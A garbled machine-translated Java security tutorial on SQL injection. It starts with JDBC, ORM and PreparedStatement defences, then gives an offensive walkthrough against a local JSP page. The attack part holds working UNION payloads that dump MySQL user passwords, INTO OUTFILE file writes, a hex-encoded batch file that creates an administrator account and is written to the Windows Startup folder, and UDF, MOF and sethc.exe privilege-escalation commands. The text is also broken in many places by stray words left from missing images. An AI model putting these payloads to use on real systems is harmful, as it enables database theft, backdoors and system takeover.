Note: the focus of this section is to familiarize everyone with the performance of various SQL injections in JAVA. I wanted to introduce some ORM framework instances, but it was almost unintentional. I recently learned MongoDb, which is quite interesting, I will have the opportunity to add relevant information later. 0x00 JDBC and ORM
JDBC:
JDBC (Java Data Base Connectivity, java database connection) is a Java API used to execute SQL statements and provides unified access for multiple relational databases.
JPA:
JPA stands for Java Persistence API. JPA describes the ing relationship between object-relational tables through JDK 5.0 annotations or XML, and persists object objects in the database at runtime. Is An ORM specification. Hibernate is the specific implementation of JPA. However, Hibernate appeared earlier than JPA (because the author of Hibernate was crazy, sun told him to develop JPA standards when he was not familiar with it ).
ORM:
Currently, object relationship ing (ORM) is implemented using Hibernate, OpenJPA, TopLink, and EclipseJPA.
JDO:
JDO (Java Data Object) is a new specification for Java Object persistence and a standardized API for accessing objects in a Data warehouse. I have never heard of JDO. Many people should know about PDO and ADO? Same concept.
Link:
JPA can rely on JDBC for Object persistence on JDO, while ORM is only a specification in JPA. Our common Hibernate, Mybatis, and TopLink are all specific implementation of ORM.
You just need to know the concept and remember the best. Many things may be used, but it may be difficult to define or explain them.
It is important to know what JDBC is, and to know that Hibernate and Mybatis are the specific implementation of ORM is enough.
Object:
In Java, the Object class (java. lang. object) is the ancestor of all Java classes. Each class uses an Object as a superclass. All objects (including arrays) implement this class method. Therefore, we should have an object concept before understanding Java.
Relational databases and non-relational databases:
Databases are warehouses that organize, store, and manage data according to the data structure.
A relational database is a database built on a relational model. A relational database is a two-dimensional table model. Therefore, a relational database is a data organization composed of two-dimensional tables and their relationships. Currently, mainstream relational databases include Oracle, DB2, Microsoft SQL Server, Microsoft Access, and MySQL.
NoSQL refers to non-relational databases. With the rise of Internet Web websites, traditional relational databases are dealing with Web websites, especially ultra-large-scale and high-concurrency SNS type pure Dynamic Web websites, which have exposed many insurmountable problems, non-relational databases have developed rapidly due to their own characteristics.
1. High performance-High concurrency read/write requirements for databases. 2. Huge Storage-high-efficiency Storage and access to massive data. 3. High Scalability & High Availability-High Scalability and High Availability requirements for databases.
Common Non-relational databases: Membase, MongoDB, Hypertable, Apache Cassandra, and CouchDB.
Common NoSQL database ports:
MongoDB:27017、28017、27080CouchDB:5984Hbase:9000Cassandra:9160Neo4j:7474Riak:8098
After so many concepts are introduced, today's story is about to begin, and conceptual things are coming soon. Introducing these things is not only about SQL injection, but may be used in many places.
The traditional JDBC requires a query operation after such steps. The interaction between java and the database is as follows:
Prepare the JDBC driver to load the driver and obtain the connection pre-compiled SQL statements. Execute the SQL processing result set to release the connection in sequence.
Sun only defines specific interfaces in JDBC, and the specific implementation of the JDBC interface is written by the database provider for specific implementation, such as the Connection object, different databases are implemented in different ways.
There are fewer and fewer projects using traditional JDBC, and the previous model1 and model2 have been replaced by MVC. If you use traditional JDBC to write a project, you have to manage your data connections and transactions. With the ORM framework, programmers only need to focus on executing SQL statements and processing result sets. For example, Spring's JdbcTemplate and Hibernate's HibernateTemplate provide a set of templates for dao operations and lightweight encapsulation of JDBC. Developers only need to configure data sources and transactions. Generally, they only need to provide one SQL statement and process the results after SQL Execution. Other tasks are handed over to the framework.
Bytes
0x01 classic JDBC SQL Injection
The direct cause of SQL injection is to piece together SQL. Most programmers do not pay attention to SQL Execution security when developing SQL statements. Because of the tight schedule, you just need to re-execute the task to meet your business needs. Who has time to worry about what SQL injection you need? It's better to have tea and look at your sister. It is precisely this lazy programmer that SQL injection has never disappeared, and many of them are large manufacturers. Some may be able to defend against SQL injection, but they may still be lucky in the face of complicated businesses. Recently, they have been stripped of by the magic of passers-. To deal with unknown SQL injection attacks, some major vendors began to adopt SQL Injection prevention or even WAF of some vendors.
JDBCSqlInjectionTest. java class:
Package org. javaweb. test; import java. SQL. connection; import java. SQL. driverManager; import java. SQL. preparedStatement; import java. SQL. resultSet; import java. SQL. SQLException; public class JDBCSqlInjectionTest {/*** SQL injection test * @ param id */public static void sqlInjectionTest (String id) {String MYSQLDRIVER = "com. mysql. jdbc. driver "; // MYSQL Driver // Mysql connection String MYSQLURL =" jdbc: mysql: // localhost: 3306/wo Oyun? User = root & password = caonimei & useUnicode = true & characterEncoding = utf8 & autoReconnect = true "; String SQL =" SELECT * from corps where id = "+ id; // query statement try {Class. forName (MYSQLDRIVER); // load the MYSQL driver Connection conn = DriverManager. getConnection (MYSQLURL); // get the database connection PreparedStatement pstt = conn. prepareStatement (SQL); ResultSet rs = pstt.exe cuteQuery (); System. out. println ("SQL:" + SQL); // print SQL while (rs. next () {// The result traverses the System. out. println ("ID:" + rs. getObject ("id"); // ID System. out. println ("vendor:" + rs. getObject ("corps_name"); // name of the output vendor System. out. println ("Main Site" + rs. getObject ("corps_url"); // vendor URL} rs. close (); // close the query result set pstt. close (); // close PreparedStatement conn. close (); // close the data connection} catch (ClassNotFoundException e) {e. printStackTrace ();} catch (SQLException e) {e. printStackTrace () ;}} public static void main (String [] args) {sqlInjectionTest ("2 and 1 = 2 union select version (), user (), database (), 5 "); // query the vendor whose id is 2 }}
The following Mysql database structures are available (the database structures used later are the same ):
Code Reading is a process of getting data and displaying data.
The fifth row is a typical SQL statement, resulting in SQL injection. Now our injection will be centered around 20 rows: Begin
When "2" is input, the output result is normal:
Bytes
When the parameter is2 and 1=1
When querying, the query result can be returned normally because 1 = 1 is true:
Bytes
When a parameter is input2 and 1=2
The query result does not exist, so no results are displayed.
Tips: In some scenarios, you may need to add the annotator -- at the end of the parameter. The function of "--" is to comment out the statements from the end of the current Code to the end of the SQL statement.
-- Available in oracle and mssql, mysql can use#
/**
.
Bytes
If order by 4 is executed and the data order by 5 is displayed normally, the number of queried fields is 4. Bytes
After Order by 5 is executed, an SQL exception occurs: Limit
Run the following command with the Combined Query:2 and 1=2 union select version(),user(),database(),5 
Conclusion:
By executing SQL Injection on the console, we can see that SQL injection has nothing to do with the platform, and has little to do with the development language, but is related to the database. Knowing that spelling SQL statements will certainly cause SQL injection, how should we fix the above Code to prevent SQL injection? In fact, as long as the parameter is pre-compiled, it can effectively prevent SQL injection, if we still submit SQL Injection statements, we will find that the statements that can be successfully injected into the database version, user name, and database name cannot be imported into the database for query now:
0x02 PreparedStatement for anti-Injection
SQL statements are pre-compiled and stored in the PreparedStatement object. This object can then be used to efficiently execute the statement multiple times.
Class. forName (MYSQLDRIVER); // load the MYSQL driver Connection conn = DriverManager. getConnection (MYSQLURL); // obtain the database Connection String SQL = "SELECT * from corps where id =? "; // Query statement PreparedStatement pstt = conn. prepareStatement (SQL); // obtain the pre-compiled PreparedStatement object pstt. setObject (1, id); // use the pre-compiled SQL ResultSet rs = pstt.exe cuteQuery ();
Bytes
From Class. forName reflection to loading MYSQL startup, to get a local database connection object through DriverManager. After getting a data connection, we will execute SQL and transaction processing. When we call the PreparedStatement method, such as executeQuery or executeUpdate, we will perform corresponding operations on the mysql database through Mysql JDBC. The method for connecting to the database in Java is generally a fixed format. The difference is only the implementation method. So as long as there is a jar package for loading the corresponding database in our project, we can connect the corresponding database. In a Web project, if/WEB-INF/lib and the corresponding container lib only mysql database connection driver package, then you can only connect to MYSQL, this is a little different from other languages, but it should be easy to understand and accept. ini does not support mysql, mssql, oracle, and other databases. The preceding SQL injection method is fixed,Use "?" Pre-compiled SQL statements are automatically processed according to the parameters in pstt to avoid SQL injection.
String SQL = "SELECT * from corps where id =? "; Pstt = conn. prepareStatement (SQL); // obtain the pre-compiled PreparedStatement object pstt. setObject (1, id); // use the pre-compiled SQL ResultSet rs = pstt.exe cuteQuery ();
In. to obtain a PreparedStatement, prepareStatement is used to process the query SQL statement with pre-compilation, And conn is used. createStatement only produces a common Statement that does not pre-compile SQL statements. However, the execution efficiency and speed of Statement are faster than that of prepareStatement. The former is the parent class of the latter.
The database vendor that loads data from the class to the closed connection implements the JDBC interface based on the characteristics of its own database. After the class is loaded, you can continue to call other methods to obtain a connection object. Then, you can run the SQL command and return the query result set (ResultSet) in the past ).
Mysql Driver:
public class Driver extends NonRegisteringDriver implements java.sql.Driver{}
When a breakpoint (22 rows) occurs at the driver loading, you can track the mysql driver's connection to the database to obtain the connection.
F5 enters the Driver Class: bytes
After the driver is loaded, we will get a specific Connection object Connection, which contains a lot of information. All our operations on the database depend on this Connection:
conn.prepareStatement(sql);
When obtaining the PreparedStatement object, the object enters the Connection class's ConnectionImpl class.
Then, call its prepareStatement method. Bytes
The nativeSQL method calls the static EscapeProcessor method of the escapeSQL class for conversion. The returned SQL is the converted SQL.
Pre-compilation is used on the client by default.com.mysql.jdbc.PreparedStatement
After the local SQL statement is completed, the SQL statement received by the mysql database is replaced by "?". After SQL, execute and return the result set of our query. From the top down, I have probably understood what the pre-compilation has done. Instead of using the PreparedStatement object, there is no SQL injection. Instead, I have pieced together the SQL statement with you before the pre-compilation,
String SQL = "select * from xxx where id =" + id // This will definitely die.
Web bypass SQL anti-injection:
JSP in Java has a feature directlyrequest.getParameter("Parameter");
Retrieving the request data is not based on GET and POST. However, those who have read the first phase should still remember that our Servlet is generally handled in one of the two ways, in SpringMVC, if you do not specify the input parameters, both get and post can be accepted by default.
SpringMvc example:
@RequestMapping(value="/index.aspx",method=RequestMethod.GET)public String index(HttpServletRequest request,HttpServletResponse response){ System.out.println("------------"); return "index";}
By default, only GET requests are received. In most cases, few people specify a request method. So much is actually to tell everyone that we can use the POST method to bypass normal SQL anti-injection detection!
SQL injection is the most vulnerable to Web Attacks:
Displays common articles and categories. User Registration and logon. Keyword Search and file download. The data statistics area (Order query, upload and download statistics, etc.) is a typical example of select drop-down box injection. The logic is slightly complicated (password retrieval and security-related ).
Error about injection page:
If a page throws an exception, you have to look at the problem from two aspects. The traditional SQL Injection cannot directly obtain data information from the page after page errors are reported. If the SQL statement is not executed after an error is reported, No matter what SQL Injection statement you submit, it is invalid. If it is only a common error, you can modify the parameters according to the error message and continue SQL injection. Assume that our id is changed to the int type:
int id = Integer.parseInt(request.getParameter("id")); 
If an exception occurs when the program converts a string to an int (integer) After receiving the parameter, the subsequent code will not be executed, so SQL injection will also fail.
How to securely spell SQL in Spring (same as JDBC ):
You can use pre-compile for common SQL injections. However, many users want to join SQL statements when there are many or more complex conditions.
The condition writes the following multi-condition query condition for automatic match:
public static String SQL_FORUM_CLASS_SETTING = "SELECT * from bjcyw_forum_forum where 1=1 ";
public List<Map<String, Object>> getForumClass(Map<String,Object> forum) { StringBuilder sql=new StringBuilder(SQL_FORUM_CLASS_SETTING); List<Object> ls=new ArrayList<Object>(); if (forum.size()>0) { for (String key : forum.keySet()) { Object obj[]=(Object [])forum.get(key); sql = SqlHelper.selectHelper(sql, obj); if ("like".equalsIgnoreCase(obj[2].toString().trim())) { ls.add("%"+obj[1]+"%"); }else{ ls.add(obj[1]); } } } return jdbcTemplate.queryForList(sql.toString(),(Object[])ls.toArray());}
SelectHelper method:
public static StringBuilder selectHelper(StringBuilder sql, Object obj[]){ if (Constants.SQL_HELPER_LIKE.equalsIgnoreCase(obj[2].toString())) { sql.append(" AND "+obj[0]+" like ?"); }else if (Constants.SQL_HELPER_EQUAL.equalsIgnoreCase(obj[2].toString())) { sql.append(" AND "+obj[0]+" = ?"); }else if (Constants.SQL_HELPER_GREATERTHAN.equalsIgnoreCase(obj[2].toString())) { sql.append(" AND "+obj[0]+" > ?"); }else if (Constants.SQL_HELPER_LESSTHAN.equalsIgnoreCase(obj[2].toString())) { sql.append(" AND "+obj[0]+" < ?"); }else if (Constants.SQL_HELPER_NOTEQUAL.equalsIgnoreCase(obj[2].toString())) { sql.append(" AND "+obj[0]+" != ?"); } return sql;}
All parameters of the trusted client match only the query conditions, and the parameters and conditions are automatically assembled into the framework.
If the client submits a dangerous SQL statement, it does not matter if it is pre-compiled during query.
Don't post the original in: http://zone.wooyun.org/content/2448
0x03 transition to Web platform
After reading the performance of SQL injection in the console, if you are not clear about the above, continue to look at the following Web injection.
First, let's take a look at the causes of SQL injection in the Web: Injection
Mysql: the database structure has been declared above. The following Jsp page is available, and the logic is consistent with the above injection: commit
Browser access: http: // localhost/SqlInjection/index. jsp? Id = 1
We have already known that the number of fields to be queried is 4. Now we construct a joint query. The values 1, 2, and 3 are only used to hold the space and view the specific output of the field on the page. Execute our SQL Injection in HackBar to check the effect and execution status: Explain
Mysql query and injection skills:
As long as you are engaged in penetration testing or those who are fond of the Web, you can strongly recommend that you learn SQL statements and Web development basics. The SQL management client has a powerful tool called Navicat. Supports MySQL, SQL Server, SQLite, Oracle, and PostgreSQL databases. Official Website: http://www.navicat.com/download?#,: http://pan.baidu.com/#/link? Consumer id = 271653 & uk = 1076602916 followed by a full set of downloads.
It seems that many people know that Mysql has a database named information_schema that stores a lot of Mysql-related information, but they do not know what the mask contains. You can take some time to read it. Mysql sechema exists here, including fields, tables, metadata, and other information. That is, for Mysql, the corresponding table information after a table is created is stored in information_schema and can be queried using SQL statements.
Use Navicat to construct an SQL query statement:
It is very important to find the table where the user or administrator is located in SQL injection, when we want to quickly find user-related database tables, we can reasonably use information_schema to query them in Mysql. Build an SQL query to obtain all the database tables in the current database with the user keyword in the name Demonstration: Login
Query the results of the table name containing the user Keyword: tables
If we know that the user data of a website is very large, we can use the SQL statement built above to find a table that may have user data information.
Query all tables with the user keyword in all Mysql Databases and sort them in descending order by the number of rows in the table:
SELECTi.TABLE_NAME,i.TABLE_ROWSFROM information_schema.`TABLES` AS iWHERE i.TABLE_NAMELIKE '%user%'ORDER BY i.TABLE_ROWSDESC
Query only in the current database:
SELECTi.TABLE_NAME,i.TABLE_ROWSFROM information_schema.`TABLES` AS iWHERE i.TABLE_NAMELIKE '%user%'AND i.TABLE_SCHEMA = database()ORDER BY i.TABLE_ROWSDESC
Query the specified database: Databases
All the table names and database names with the user keyword in the query field:
SELECTi.TABLE_SCHEMA,i.TABLE_NAME,i.COLUMN_NAMEFROM information_schema.`COLUMNS` AS iWHERE i.COLUMN_NAME LIKE '%user%' 
CONCAT:
http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select 1,2,3,CONCAT('MysqlUser:',User,'------MysqlPassword:',Password) FROM mysql.`user` limit 0,1
GROUP_CONCAT
http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select 1,2,3,GROUP_CONCAT('MysqlUser:',User,'------MysqlPassword:',Password) FROM mysql.`user` limit 0,1
Injection Point backup:
http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select '','',corps_name,corps_url from corps into outfile'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/1.txt'
Injection in windows is E: \ by default. If "\" is used to represent the path, it needs to be convertedE:\\
The more convenient way is to directly use/to represent E :/. When we know the WEB path and have the outfile permission, we can directly export the user information in the database. Bytes
In some extreme cases, we can reasonably use concat and GROUP_CONCAT to display data to the page. If the data volume is too large, we can use concat and limit to control the displayed quantity. For example, how many hundred pieces of data are retrieved from the page each time? Write a tool to request the constructed SQL injection point and retrieve the data on the page. Then, the database table information can be obtained directly from the injection point.
Injection Point root permission elevation: 1. Write startup Item:
This is very simple. Just write it to the windows startup directory. the system I tested is windows 7 and directly written to: C: /Users/selina/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup directory. You can use HackBar to request a link and write bat to our windows Startup menu, but note that the 360 dog and rabbit are:
http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select 0x6E65742075736572207975616E7A20313233202F6164642026206E6574206C6F63616C67726F75702061646D696E6973747261746F7273207975616E7A202F616464,'','','' into outfile 'C:/Users/selina/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/1.bat'
2. Failed injection point UDF elevation attempt:
MYSQL has many methods of Elevation of Privilege, not limited to udf, mof, writing windows Startup directories, replacing sethc with SQL statements to implement backdoors, etc. Here we take udf as an example. In fact, udf is quite troublesome, if you can handle all the troubles, you can do it simply and naturally. Note the mysql version when performing udf elevation of permissions for mysql. You can import mysql 5.1 to the windows directory and mysql <= To the plug-in directory. I tested Mysql 5.5.27. Our first task is to find the mysql plug-in path.
http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select 1,2,3,@@plugin_dir
Obtain the directory of the Plugin:
select @@plugin_dirselect @@basedir
show variables like ‘%plugins%’
The MYSQL directory is easily located through the reserved mysql variables. The absolute path of udf export should be:D:/install/dev/mysql5.5/lib/plugin/udf.dll
. Now we need to export the udf to the preceding directory through SQL injection. Let me first explain how I used the wrong method to correct the import process. First, I executed the following SQL statement:
SELECT * from corps where id = 1 and 1 = 2 union select '', (CONVERT (0xudf hexadecimal, CHAR) into dumpfile 'd: /install/dev/mysql5.5/lib/plugin/udf. dll'
This is because binary files can be exported successfully when converting to char to dumpfile during command line or execution of a single statement. We use a browser to browse Web pages and submit them in GET mode. If I use a GET request to upload this hexadecimal udf, it will obviously exceed the GET request limit, so I constructed a POST request to upload a K 0x to the backend.
I used hackbar to send a post request and found that the request failed. It must have been opened incorrectly. With a handwritten form submitted: http://pan.baidu.com/share/link? Container id = 1711769621 & uk = 1076602916 bytes
After submitting the form, I found that the file was written in, but why is it only 84 bytes pinch? Bytes
Is it because the data is truncated during transmission? No, so run the preceding statement "Explain" with navicat.
I seem to be dumb, because the query results are still only 84 bytes, and the results are obviously not what I want. 84 bytes without such pitfalls. One cannot generate two. Don't let me directly dumpfile. Then I will indirectly write the general line? Bytes
1 and 1 = 2 union select '', 0xUDF: /install/dev/mysql5.5/lib/plugin/udf.txt 'The format is incorrect. Add a single quotation mark to hex and write it as a string. Try: 1 and 1 = 2 union select '', '','', 'hexadecimal value after 0xUDF conversion 'into outfile' D:/install/dev/mysql5.5/lib/plugin/udf.txt'
At least hex is written this time. Isn't it enough to load _file into the query? We know that load_file is definitely a blob. Bytes
So we can't build it like this at the injection point: commit
In fact, this is already two homes, which is no different from the data submitted for the first time. The Load file is still converted to 0x here. If this is not the case, you should only go to load_file In the blob field to succeed, because now the load is to the position where the field type is text. It is estimated that the string is processed, but obviously it is impossible to find a blob field (it should be able to find it using information_schema above ). That is to say, we need a blob for temporary storage. Because we know that MYSQL does not support multi-row queries, we have no way to create a table (we thought about copying queries to create a table, but it obviously does not work ). This is not scientific. It must have been opened in a wrong way. Neither CAST nor CONVERT can be converted to CHAR. Can it be converted to blob or something like that? CONVERT (0 xsbsbsb, BLOB) fails to be detected. If BLOB is converted to BINARY, it is successfully executed. Then execute the following statement again using the constructed form:SELECT * from corps where id = 1 and 1 = 2 union select '', CONVERT (0x not explained, BINARY) into dumpfile 'd: /install/dev/mysql5.5/lib/plugin/udf. dll'
This execution was successful. how painful it was to comprehend ...... At first, writing CHAR into BINARY would not be done, but the second would be too obvious. In fact, the above two are nothing at all. What's more, when I want to execute it, I suddenly find that there is no way to create a function! O shit shift ~ Mysql driverin pstt.exe cuteQuery () does not support multi-row queries, and a select statement cannot be executed simultaneously with create. To avoid affecting everyone's mood, run the command line to create a function and inject it at the injection point (if a user has already created a udf, you can use it directly): continue
Because there is no way to create a function, the udf privilege escalation with the injection point will die in the previous step. It can only be comforted to execute the function creation in the command line, as long as the create function is completed, we have succeeded, because it is very simple to call a custom function:
MOF and sethc elevation:
I will not elaborate on the elevation of MOF and sethc, because after reading the udf Elevation of Privilege above, you already have the ability to import arbitrary files to any directory by yourself, while MOF is actually writing a file to the specified directory, and sethc is only used for permission escalation once. Using SQL in the command line is probably like this:
create table mix_cmd( shift longblob);insert into mix_cmd values(load_file(‘c:\windows\system32\cmd.exe’));
select * from mix_cmd into dumpfile ‘c:\windows\system32\sethc.exe’;
drop table if exists mix_cmd;
Now, many administrators can easily Delete net.exew.net1.exe **.exe=sethc.exe to prevent intrusion. If sethc does not exist, we can use this method to try it. How can we determine whether it exists? Load_filethe following is a good example. If both Taobao and sethcare unavailable, upload a cmd.exe to any directory.
SELECT LOAD_FILE('c:/windows/system32/cmd.exe') INTO DUMPFILE'c:/windows/system32/sethc.exe'
MOF is like this:
Http: // localhost/SqlInjection/index. jsp? Id = 1 and 1 = 2 union select char (ascii converted code), '','', ''into dumpfile 'C: /windows/system32/wbem/mof/nullevts. mof'
Mysql summary:
What I want to talk about is a method instead of how to write SQL. after learning the method, I will naturally expand it myself. Of course, it is best not to look up the udf as second. With the demo above, I believe everyone will know how to modify it to meet their own needs. The learning is not just a method, but a train of thought. Remember!